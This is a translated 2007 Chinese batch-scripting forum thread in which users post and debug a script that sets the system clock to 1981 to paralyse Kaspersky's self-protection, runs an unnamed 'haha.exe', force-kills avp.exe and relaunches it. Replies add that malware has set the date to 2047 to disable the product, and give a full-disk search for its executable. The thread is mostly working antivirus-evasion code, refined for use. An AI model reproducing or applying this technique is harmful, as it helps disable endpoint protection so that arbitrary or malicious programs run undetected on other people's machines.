中国DOS联盟

@echo off

tasklist|findstr /i "avp.exe" && (



set date=%date%

date 1981-01-01

ping -n 12 localhost > nul

haha.exe

date %date%

taskkill /f /t /im avp.exe

for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath

') do (

set avpp=%%i %%j %%k %%l %%m

goto restart

)

:restart

call %avpp%

goto exit

)



:exit

echo 结束

pause

There is an online batch script that bypasses the Kaspersky active defense, but every time the date is restored, Kaspersky can't quickly respond back and will be unresponsive for about one minute.

I thought of using the method of ending the process and then restoring to make it respond quickly.

But I encountered a strange problem when writing the batch script.

First, post the code

@echo off

tasklist|findstr /i "avp.exe" && (



set date=%date%

date 1981-01-01

ping -n 12 localhost > nul

haha.exe

date %date%

taskkill /f /t /im avp.exe

for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath

') do (

set avpp=%%i %%j %%k %%l %%m

goto restart

)

:restart

call %avpp%

goto exit

)



:exit

echo 结束

pause

The problem is that after starting Kaspersky, the code after the exit label cannot be executed.

I'm really郁闷
Please help from the experts!!!!!

Last edited by heicai on 2007-6-29 at 12:59 PM ]

Kaba has driver protection, and the taskkill command cannot access or end its process, unless it is a green version or something like that

Originally posted by dikex at 2007-6-29 01:01 PM:
Kaspersky has driver protection, and the taskkill command cannot access or terminate its process, unless it is a portable version or something like that

Change the time to 1981 and then change it back.
At this time, Kaspersky is completely paralyzed. The taskkill command can kill the process!

Originally posted by HAT at 2007-6-29 01:36 PM:
Change call to start

Nonsense, this won't even start Kaspersky.

Pay attention to the wording.

After a call is made, it needs to wait for the called command to finish before executing the next command;

Changing it to start can work, but if there is a space in the path, directly changing it will cause problems;

start "" "path" parameter

The path in the environment variable of %avpp% is like this "C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

Please tell me how to write start %avpp% specifically above

//Nonsense, this won't even start Kaspersky.

Be low-key Be low-key ^_^
The start command is okay

@echo off

set app=C:\test 1\my test\aa.bat

start "" "%app%"

@echo off

echo 我的目录有这么多空格，还是可以被start执行嘿嘿

pause

try this one :)

@echo off

set app=C:\test 1\my test\aa.bat

start "" "%app%"

aa.bat

@echo off

echo My directory has so many spaces, and it can still be executed by start heh heh

pause

My directory has so many spaces, and it can still be executed by start heh heh
Press any key to continue . . .

@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
start "" %avpp%
goto exit
)

:exit
echo Done
pause



Changed to this~!

Still not working. It says that framedyn.dll was not found, so this program failed to start

You just know that Kaba hasn't considered the problem of you changing the time. Save some time, hug the cat, and browse the forum to study.

Last time I saw a virus online that changed the time to 2047 at once, and then the Kaspersky expired and couldn't be used. At this time, its self-protection function failed. At this time, you can K it off.

for %%a in (c d e f) do (

  for /f %%b in ('dir /s %%a:\avp.exe') do set avp-%%a=%%~fb

)

Originally posted by heicai at 2007-6-29 13:53:
The path in the environment variable of %avpp% is like this: "C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

Please tell the person above sta ...

Do a full disk search

for %%a in (c d e f) do (

  for /f %%b in ('dir /s %%a:\avp.exe') do set avp-%%a=%%~fb

)

Then call avp-%%a
This is simple
I won't write it out

Last edited by scriptor on 2007-8-24 at 03:23 AM ]

Swe sweat.. studying this. Not going to make a virus, right??
But, also learned. Hehe
Changing the system time can really kill Kaspersky?
Gotta test it